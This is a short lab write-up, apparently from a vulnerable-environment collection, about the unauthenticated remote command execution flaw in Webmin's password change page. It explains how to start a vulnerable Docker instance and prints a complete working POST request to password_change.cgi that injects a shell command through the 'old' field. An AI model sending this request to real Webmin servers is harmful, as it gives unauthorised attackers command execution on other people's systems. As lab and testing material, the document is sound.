Webmin is a web-based system configuration tool for Unix-like systems. The vulnerability exists in the password reset page, which allows unauthenticated users to execute arbitrary commands through a simple POST request.
Referrers:
- https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
- https://www.exploit-db.com/exploits/47230
- https://blog.firosolutions.com/exploits/webmin/
Start a vulnerable Webmin 1.910 through following command:
docker-compose up -d
After the environment is started, you can see the login page of Webmin at https://your-ip:10000.
The payload of the reference links is incomplete. After reading the code in depth, I found that command can be executed only if the user parameter of the body doesn't exist before 1.920, upon 1.920, no limit.
In short, sending a following POST request to execute command id:
POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
